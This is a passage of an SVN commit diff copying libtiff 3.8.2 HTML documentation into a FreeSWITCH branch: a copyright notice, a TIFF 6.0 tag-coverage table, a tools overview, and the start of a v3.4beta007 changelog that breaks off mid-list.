+    Frank Warmerdam
+    Greg Ward
+    Stanislav Brabec        
+    Roman Shpount
+    Peter Skarpetis        
+    Arvan Pritchard
+    Bernt Herd             
+    Joseph Orost
+    Phil Beffery           
+    Ivo Penzar
+    Francois Dagand        
+    Albert Chin-A-Young
+    Bruce A. Mallett
+    Dwight Kelly
+    Andrey Kiselev
+    Ross Finlayson
+    Dmitry V. Levin
+    Bob Friesenhahn
+    Lee Howard
+    Joris Van Damme
+</PRE>
+
+(my apology to anyone that was inadvertently not listed.)
+
+<H2>Use and Copyright</H2>
+
+<P><H5><PRE>
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and 
+its documentation for any purpose is hereby granted without fee, provided
+that (i) the above copyright notices and this permission notice appear in
+all copies of the software and related documentation, and (ii) the names of
+Sam Leffler and Silicon Graphics may not be used in any advertising or
+publicity relating to the software without the specific, prior written
+permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+OF THIS SOFTWARE.
+</PRE></H5>
+
+<P>
+<HR>
+
+
+Last updated: $Date: 2005/10/23 19:43:29 $
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/support.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/support.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/support.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/support.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/support.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,655 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html lang="en">
+<head>
+  <title>TIFF 6.0 Specification Coverage</title>
+  <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
+  <meta http-equiv="content-language" content="en">
+  <style type="text/css">
+  <!--
+    th {text-align: left; vertical-align: top; font-style: italic; font-weight: normal}
+  -->
+  </style>
+</head>
+<body lang="en" text="#000000" bgcolor="#ffffff" link="#0000ff" alink="#0000ff" vlink="#0000ff">
+  <table border="0" cellspacing="0" cellpadding="0">
+    <tr>
+      <td style="padding-left: 1em; padding-right: 1em"><img src="images/strike.gif" width="128" height="100" alt=""></td>
+      <td>
+        <h1>TIFF 6.0 Specification Coverage</h1>
+        <p>
+          The library is capable of dealing with images that are written to
+          follow the 5.0 or 6.0 TIFF spec.  There is also considerable support
+          for some of the more esoteric portions of the 6.0 TIFF spec.
+        </p>
+      </td>
+    </tr>
+  </table>
+  <br>
+  <table border="1" cellspacing="0" cellpadding="5">
+    <tr>
+      <th>Core requirements</th>
+      <td>
+        <p>
+          Both <tt>"MM"</tt> and <tt>"II"</tt> byte orders are handled.
+          Both packed and separated planar configuration of samples.
+          Any number of samples per pixel (memory permitting).
+          Any image width and height (memory permitting).
+          Multiple subfiles can be read and written.
+          Editing is <b>not</b> supported in that related subfiles (e.g.
+          a reduced resolution version of an image) are not automatically
+          updated.
+        </p>
+        <p>
+          Tags handled: <tt>ExtraSamples</tt>, <tt>ImageWidth</tt>,
+          <tt>ImageLength</tt>, <tt>NewSubfileType</tt>, <tt>ResolutionUnit</tt>.
+          <tt>Rowsperstrip</tt>, <tt>StripOffsets</tt>, <tt>StripByteCounts</tt>,
+          <tt>XResolution</tt>, <tt>YResolution</tt>
+        </p>
+      </td>
+    </tr>
+    <tr>
+      <th>Tiled Images</th>
+      <td><tt>TileWidth</tt>, <tt>TileLength</tt>, <tt>TileOffsets</tt>,
+        <tt>TileByteCounts</tt></td>
+    </tr>
+    <tr>
+      <th>Image Colorimetry Information</th>
+      <td><tt>WhitePoint</tt>, <tt>PrimaryChromaticities</tt>, <tt>TransferFunction</tt>,
+        <tt>ReferenceBlackWhite</tt></td>
+    </tr>
+    <tr>
+      <th>Class B for bilevel images</th>
+      <td><tt>SamplesPerPixel</tt> = 1<br>
+        <tt>BitsPerSample</tt> = 1<br>
+        <tt>Compression</tt> = 1 (none), 2 (CCITT 1D), or 32773 (PackBits)<br>
+        <tt>PhotometricInterpretation</tt> = 0 (Min-is-White), 1 (Min-is-Black)</td>
+    </tr>
+    <tr>
+      <th>Class G for grayscale images</th>
+      <td><tt>SamplesPerPixel</tt> = 1<br>
+        <tt>BitsPerSample</tt> = 4, 8<br>
+        <tt>Compression</tt> = 1 (none) 5 (LZW)<br>
+        <tt>PhotometricInterpretation</tt> = 0 (Min-is-White), 1 (Min-is-Black)</td>
+    </tr>
+    <tr>
+      <th>Class P for palette color images</th>
+      <td><tt>SamplesPerPixel</tt> = 1<br>
+        <tt>BitsPerSample</tt> = 1-8<br>
+        <tt>Compression</tt> = 1 (none) 5 (LZW)<br>
+        <tt>PhotometricInterpretation</tt> = 3 (Palette RGB)<br>
+        <tt>ColorMap</tt></td>
+    </tr>
+    <tr>
+      <th>Class R for RGB full color images</th>
+      <td><tt>SamplesPerPixel</tt> = 3<br>
+        <tt>BitsPerSample</tt> = &lt;8,8,8&gt;<br>
+        <tt>PlanarConfiguration</tt> = 1, 2<br>
+        <tt>Compression</tt> = 1 (none) 5 (LZW)<br>
+        <tt>PhotometricInterpretation</tt> = 2 (RGB)</td>
+    </tr>
+    <tr>
+      <th>Class F for facsimile</th>
+      <td>(<i>Class B tags plus...</i>)<br>
+        <tt>Compression</tt> = 3 (CCITT Group 3), 4 (CCITT Group 4)<br>
+        <tt>FillOrder</tt> = 1 (MSB), 2 (LSB)<br>
+        <tt>Group3Options</tt> = 1 (2d encoding), 4 (zero fill), 5 (2d+fill)<br>
+        <tt>ImageWidth</tt> = 1728, 2048, 2482<br>
+        <tt>NewSubFileType</tt> = 2<br>
+        <tt>ResolutionUnit</tt> = 2 (Inch), 3 (Centimeter)<br>
+        <tt>PageNumber</tt>,
+        <tt>XResolution</tt>,
+        <tt>YResolution</tt>,
+        <tt>Software</tt>,
+        <tt>BadFaxLines</tt>,
+        <tt>CleanFaxData</tt>,
+        <tt>ConsecutiveBadFaxLines</tt>,
+        <tt>DateTime</tt>,
+        <tt>DocumentName</tt>,
+        <tt>ImageDescription</tt>,
+        <tt>Orientation</tt></td>
+    </tr>
+    <tr>
+      <th>Class S for separated images</th>
+      <td><tt>SamplesPerPixel</tt> = 4<br>
+        <tt>PlanarConfiguration</tt> = 1, 2<br>
+        <tt>Compression</tt> = 1 (none), 5 (LZW)<br>
+        <tt>PhotometricInterpretation</tt> = 5 (Separated)<br>
+        <tt>InkSet</tt> = 1 (CMYK)<br>
+        <tt>DotRange</tt>,
+        <tt>InkNames</tt>,
+        <tt>DotRange</tt>,
+        <tt>TargetPrinter</tt></td>
+    </tr>
+    <tr>
+      <th>Class Y for YCbCr images</th>
+      <td><tt>SamplesPerPixel</tt> = 3<br>
+        <tt>BitsPerSample</tt> = &lt;8,8,8&gt;<br>
+        <tt>PlanarConfiguration</tt> = 1, 2<br>
+        <tt>Compression</tt> = 1 (none),  5 (LZW), 7 (JPEG)<br>
+        <tt>PhotometricInterpretation</tt> = 6 (YCbCr)<br>
+        <tt>YCbCrCoefficients</tt>,
+        <tt>YCbCrSubsampling</tt>,
+        <tt>YCbCrPositioning</tt><br>
+        (<i>colorimetry info from Appendix H; see above</i>)</td>
+    </tr>
+    <tr>
+      <th>Class "JPEG" for JPEG images (per TTN2)</th>
+      <td><tt>PhotometricInterpretation</tt> = 1 (grayscale), 2 (RGB), 5 (CMYK), 6 (YCbCr)<br>
+        (<i>Class Y tags if YCbCr</i>)<br>
+        (<i>Class S tags if CMYK</i>)<br>
+        <tt>Compression</tt> = 7 (JPEG)</td>
+    </tr>
+  </table>
+  <p>
+    In addition, the library supports some optional compression algorithms
+    that are, in some cases, of dubious value.
+  </p>
+  <table border="0" cellspacing="0" cellpadding="2">
+    <tr><th>Compression tag value</th><th>Compression algorithm</th></tr>
+    <tr><td>32766</td><td>NeXT 2-bit encoding</td></tr>
+    <tr><td>32809</td><td>ThunderScan 4-bit encoding</td></tr>
+    <tr><td>32909</td><td>Pixar companded 11-bit ZIP encoding</td></tr>
+    <tr><td>32946</td><td>PKZIP-style Deflate encoding (experimental)</td></tr>
+    <tr><td>34676</td><td>SGI 32-bit Log Luminance encoding (experimental)</td></tr>
+    <tr><td>34677</td><td>SGI 24-bit Log Luminance encoding (experimental)</td></tr>
+  </table>
+  <br>
+  <p>
+    Note that there is no support for the JPEG-related tags defined
+    in the 6.0 specification; the JPEG support is based on the post-6.0
+    proposal given in TIFF Technical Note #2.
+  </p>
+  <table>
+    <tr>
+      <td valign=top><img src="images/info.gif" width="32" height="32" alt=""></td>
+      <td>For more information on the experimental Log Luminance encoding
+        consult the materials available at
+        <a href="http://www.anyhere.com/gward/pixformat/tiffluv.html">http://www.anyhere.com/gward/pixformat/tiffluv.html</a>.</td>
+    </tr>
+  </table>
+  <br>
+  <p>
+    The following table shows the tags that are recognized
+    and how they are used by the library.  If no use is indicated,
+    then the library reads and writes the tag, but does not use it internally.
+  </p>
+  <table border="1" cellspacing="0" cellpadding="5">
+    <tr>
+      <th>Tag Name</th>
+      <th>Value</th>
+      <th>R/W</th>
+      <th>Library's Use (Comments)</th>
+    </tr>
+    <tr>
+      <td><tt>NewSubFileType</tt></td>
+      <td>254</td>
+      <td>R/W</td>
+      <td>none (called <tt>SubFileType</tt> in &lt;tiff.h&gt;)</td>
+    </tr>
+    <tr>
+      <td><tt>SubFileType</tt></td>
+      <td>255</td>
+      <td>R/W</td>
+      <td>none (called <tt>OSubFileType</tt> in &lt;tiff.h&gt;)</td>
+    </tr>
+    <tr>
+      <td><tt>ImageWidth</tt></td>
+      <td>256</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>ImageLength</tt></td>
+      <td>257</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>BitsPerSample</tt></td>
+      <td>258</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>Compression</tt></td>
+      <td>259</td>
+      <td>R/W</td>
+      <td>to select appropriate codec</td>
+    </tr>
+    <tr>
+      <td><tt>PhotometricInterpretation</tt></td>
+      <td>262</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>Thresholding</tt></td>
+      <td>263</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>CellWidth</tt></td>
+      <td>264</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>CellLength</tt></td>
+      <td>265</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>FillOrder</tt></td>
+      <td>266</td>
+      <td>R/W</td>
+      <td>control bit order</td>
+    </tr>
+    <tr>
+      <td><tt>DocumentName</tt></td>
+      <td>269</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ImageDescription</tt></td>
+      <td>270</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Make</tt></td>
+      <td>271</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Model</tt></td>
+      <td>272</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>StripOffsets</tt></td>
+      <td>273</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>Orientation</tt></td>
+      <td>274</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>SamplesPerPixel</tt></td>
+      <td>277</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>RowsPerStrip</tt></td>
+      <td>278</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+    <td><tt>StripByteCounts</tt></td>
+      <td>279</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>MinSampleValue</tt></td>
+      <td>280</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>MaxSampleValue</tt></td>
+      <td>281</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>XResolution</tt></td>
+      <td>282</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>YResolution</tt></td>
+      <td>283</td>
+      <td>R/W</td>
+      <td>used by Group 3 2d encoder</td>
+    </tr>
+    <tr>
+      <td><tt>PlanarConfiguration</tt></td>
+      <td>284</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>PageName</tt></td>
+      <td>285</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>XPosition</tt></td>
+      <td>286</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>YPosition</tt></td>
+      <td>286</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>FreeOffsets</tt></td>
+      <td>288</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>FreeByteCounts</tt></td>
+      <td>289</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>GrayResponseUnit</tt></td>
+      <td>290</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>GrayResponseCurve</tt></td>
+      <td>291</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>Group3Options</tt></td>
+      <td>292</td>
+      <td>R/W</td>
+      <td>used by Group 3 codec</td>
+    </tr>
+    <tr>
+      <td><tt>Group4Options</tt></td>
+      <td>293</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ResolutionUnit</tt></td>
+      <td>296</td>
+      <td>R/W</td>
+      <td>used by Group 3 2d encoder</td>
+    </tr>
+    <tr>
+      <td><tt>PageNumber</tt></td>
+      <td>297</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ColorResponseUnit</tt></td>
+      <td>300</td>
+      <td>&nbsp;</td>
+      <td>parsed but ignored</td>
+    </tr>
+    <tr>
+      <td><tt>TransferFunction</tt></td>
+      <td>301</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Software</tt></td>
+      <td>305</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>DateTime</tt></td>
+      <td>306</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Artist</tt></td>
+      <td>315</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>HostComputer</tt></td>
+      <td>316</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Predictor</tt></td>
+      <td>317</td>
+      <td>R/W</td>
+      <td>used by LZW codec</td>
+    </tr>
+    <tr>
+      <td><tt>WhitePoint</tt></td>
+      <td>318</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>PrimaryChromacities</tt></td>
+      <td>319</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ColorMap</tt></td>
+      <td>320</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>TileWidth</tt></td>
+      <td>322</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>TileLength</tt></td>
+      <td>323</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>TileOffsets</tt></td>
+      <td>324</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>TileByteCounts</tt></td>
+      <td>324</td>
+      <td>R/W</td>
+      <td>data i/o</td>
+    </tr>
+    <tr>
+      <td><tt>BadFaxLines</tt></td>
+      <td>326</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>CleanFaxData</tt></td>
+      <td>327</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ConsecutiveBadFaxLines</tt></td>
+      <td>328</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>SubIFD</tt></td>
+      <td>330</td>
+      <td>R/W</td>
+      <td>subimage descriptor support</td>
+    </tr>
+    <tr>
+      <td><tt>InkSet</tt></td>
+      <td>332</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>InkNames</tt></td>
+      <td>333</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>DotRange</tt></td>
+      <td>336</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>TargetPrinter</tt></td>
+      <td>337</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ExtraSamples</tt></td>
+      <td>338</td>
+      <td>R/W</td>
+      <td>lots</td>
+    </tr>
+    <tr>
+      <td><tt>SampleFormat</tt></td>
+      <td>339</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>SMinSampleValue</tt></td>
+      <td>340</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>SMaxSampleValue</tt></td>
+      <td>341</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>JPEGTables</tt></td>
+      <td>347</td>
+      <td>R/W</td>
+      <td>used by JPEG codec</td>
+    </tr>
+    <tr>
+      <td><tt>YCbCrCoefficients</tt></td>
+      <td>529</td>
+      <td>R/W</td>
+      <td>used by <tt>TIFFReadRGBAImage</tt> support</td>
+    </tr>
+    <tr>
+      <td><tt>YCbCrSubsampling</tt></td>
+      <td>530</td>
+      <td>R/W</td>
+      <td>tile/strip size calculations</td>
+    </tr>
+    <tr>
+      <td><tt>YCbCrPositioning</tt></td>
+      <td>531</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>ReferenceBlackWhite</tt></td>
+      <td>532</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+    <tr>
+      <td><tt>Matteing</tt></td>
+      <td>32995</td>
+      <td>R</td>
+      <td>none (obsoleted by <tt>ExtraSamples</tt> tag)</td>
+    </tr>
+    <tr>
+      <td><tt>DataType</tt></td>
+      <td>32996</td>
+      <td>R</td>
+      <td>none (obsoleted by <tt>SampleFormat</tt> tag)</td>
+    </tr>
+    <tr>
+      <td><tt>ImageDepth</tt></td>
+      <td>32997</td>
+      <td>R/W</td>
+      <td>tile/strip calculations</td>
+    </tr>
+    <tr>
+      <td><tt>TileDepth</tt></td>
+      <td>32998</td>
+      <td>R/W</td>
+      <td>tile/strip calculations</td>
+    </tr>
+    <tr>
+      <td><tt>StoNits</tt></td>
+      <td>37439</td>
+      <td>R/W</td>
+      <td>&nbsp;</td>
+    </tr>
+  </table>
+  <p>
+    The <tt>Matteing</tt> and <tt>DataType</tt>
+    tags have been obsoleted by the 6.0
+    <tt>ExtraSamples</tt> and <tt>SampleFormat</tt> tags.
+    Consult the documentation on the
+    <tt>ExtraSamples</tt> tag and Associated Alpha for elaboration.  Note however
+    that if you use Associated Alpha, you are expected to save data that is
+    pre-multipled by Alpha.  If this means nothing to you, check out
+    Porter &amp; Duff's paper in the '84 SIGGRAPH proceedings: "Compositing Digital
+    Images".
+  </p>
+  <p>
+    The <tt>ImageDepth</tt>
+    tag is a non-standard, but registered tag that specifies
+    the Z-dimension of volumetric data.  The combination of <tt>ImageWidth</tt>,
+    <tt>ImageLength</tt>, and <tt>ImageDepth</tt>,
+    defines a 3D volume of pixels that are
+    further specified by <tt>BitsPerSample</tt> and
+    <tt>SamplesPerPixel</tt>.  The <tt>TileDepth</tt>
+    tag (also non-standard, but registered) can be used to specified a
+    subvolume "tiling" of a volume of data.
+  </p>
+  <p>
+    The Colorimetry, and CMYK tags are additions that appear in TIFF 6.0.
+    Consult the TIFF 6.0 specification included in the <b>doc</b> directory
+    and <a href="document.html">online</a>.
+  </p>
+  <p>
+    The JPEG-related tag is specified in
+    <a href="TIFFTechNote2.html">TIFF Technical Note #2</a> which defines
+    a revised JPEG-in-TIFF scheme (revised over that appendix that was
+    part of the TIFF 6.0 specification).
+  </p>
+  <hr>
+  <p>
+    Last updated: $Date: 2005/12/28 06:53:18 $
+  </p>
+</body>
+</html>
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/tools.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/tools.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/tools.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/tools.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/tools.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta name="generator" content=
+"HTML Tidy for Solaris (vers 12 April 2005), see www.w3.org">
+<title>TIFF Tools Overview</title>
+</head>
+<body bgcolor="white">
+<h1><font face="Arial, Helvetica, Sans"><img src="images/quad.jpg"
+width="144" height="108" align="left" border="1" hspace="6"> TIFF
+Tools Overview</font></h1>
+<p>This software distribution comes with a small collection of
+programs for converting non-TIFF format images to TIFF and for
+manipulating and interogating the contents of TIFF images. Several
+of these tools are useful in their own right. Many of them however
+are more intended to serve as programming examples for using the
+TIFF library.</p>
+<h3>Device-dependent Programs</h3>
+There are two device-dependent programs that serve as simple
+examples for writing programs to display and save TIFF images.
+<table border cellpadding="3">
+<tr>
+<td valign="top" width="10%">
+<tt>tiffgt&nbsp;&nbsp;&nbsp;&nbsp;</tt></td>
+<td>Display the contents of one or more TIFF images using OpenGL.
+The software makes extensive use of the <tt>TIFFRGBAImage</tt>
+facilities described elsewhere.</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffsv</tt></td>
+<td>A program to save all or part of a screen dump on a Silicon
+Graphics system. As for <tt>tiffgt</tt> this code, while written to
+use the IRIS GL, can be easily tailored to other devices.</td>
+</tr>
+</table>
+<h3>Device-independent Programs</h3>
+The remaining programs should be device-independent:
+<table border cellpadding="3">
+<tr>
+<td valign="top" width="10%"><tt>bmp2tiff</tt></td>
+<td>Convert BMP images to TIFF</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>fax2ps</tt></td>
+<td>Convert a Group 3- or Group 4- compressed TIFF to PostScript
+that is significantly more compressed than is generated by
+<tt>tiff2ps</tt> (unless <tt>tiff2ps</tt> writes PS Level II)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>fax2tiff</tt></td>
+<td>Convert raw Group 3 or Group 4 facsimile data to TIFF</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>gif2tiff</tt></td>
+<td>A quick hack that converts GIF 87a format images to TIFF</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>pal2rgb</tt></td>
+<td>Convert a Palette-style image to a full color RGB image by
+applying the colormap</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>ppm2tiff</tt></td>
+<td>A quick hack that converts PPM format images to TIFF</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>ras2tiff</tt></td>
+<td>A quick hack that converts Sun rasterfile format images to TIFF
+-- it's less than complete</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>raw2tiff</tt></td>
+<td>Create a TIFF file from raw data</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>rgb2ycbcr</tt></td>
+<td>Convert an RGB, grayscale, or bilevel TIFF image to a YCbCr
+TIFF image; it's mainly provided for testing</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>sgi2tiff</tt></td>
+<td>A program to convert SGI image files to TIFF. This program is
+only useful on SGI machines as it uses <tt>-limage</tt>.</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>thumbnail</tt></td>
+<td>Copy a bilevel TIFF to one that includes 8-bit greyscale
+"thumbnail images" for each page; it is provided as an example of
+how one might use the <tt>SubIFD</tt> tag (and the library support
+for it)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiff2bw</tt></td>
+<td>A simple program to convert a color image to grayscale</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiff2pdf</tt></td>
+<td>Convert TIFF images to PDF</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiff2ps</tt></td>
+<td>Convert TIFF images to PostScript</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiff2rgba</tt></td>
+<td>Convert a TIFF image to RGBA color space</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffcmp</tt></td>
+<td>Compare the contents of two TIFF files (it does not check all
+the directory information, but does check all the data)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffcp</tt></td>
+<td>Copy, concatenate, and convert TIFF images (e.g. switching from
+Compression=5 to Compression=1)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffdither</tt></td>
+<td>Dither a b&amp;w image into a bilevel image (suitable for use
+in creating fax files)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffdump</tt></td>
+<td>Display the verbatim contents of the TIFF directory in a file
+(it's very useful for debugging bogus files that you may get from
+someone that claims they support TIFF)</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffinfo</tt></td>
+<td>Display information about one or more TIFF files.</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffmedian</tt></td>
+<td>A version of Paul Heckbert's median cut program that reads an
+RGB TIFF image, and creates a TIFF palette file as a result; it's
+useful for converting full-color RGB images to 8-bit color for your
+friends that have cheapo 8-bit framebuffers.</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffset</tt></td>
+<td>Set a field in a TIFF header</td>
+</tr>
+<tr>
+<td valign="top" width="10%"><tt>tiffsplit</tt></td>
+<td>Create one or more single-image files from a (possibly)
+multi-image file</td>
+</tr>
+</table>
+<p>Check out the manual pages for details about the above
+programs.</p>
+<hr>
+Last updated: $Date: 2006/01/03 02:16:07 $
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta007.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta007.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta007.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta007.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta007.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta007
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta007<BR>
+<B>Previous Version</B>: v3.4beta004<BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#port">Changes in the portability support</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>bit order was corrected for Pentium systems
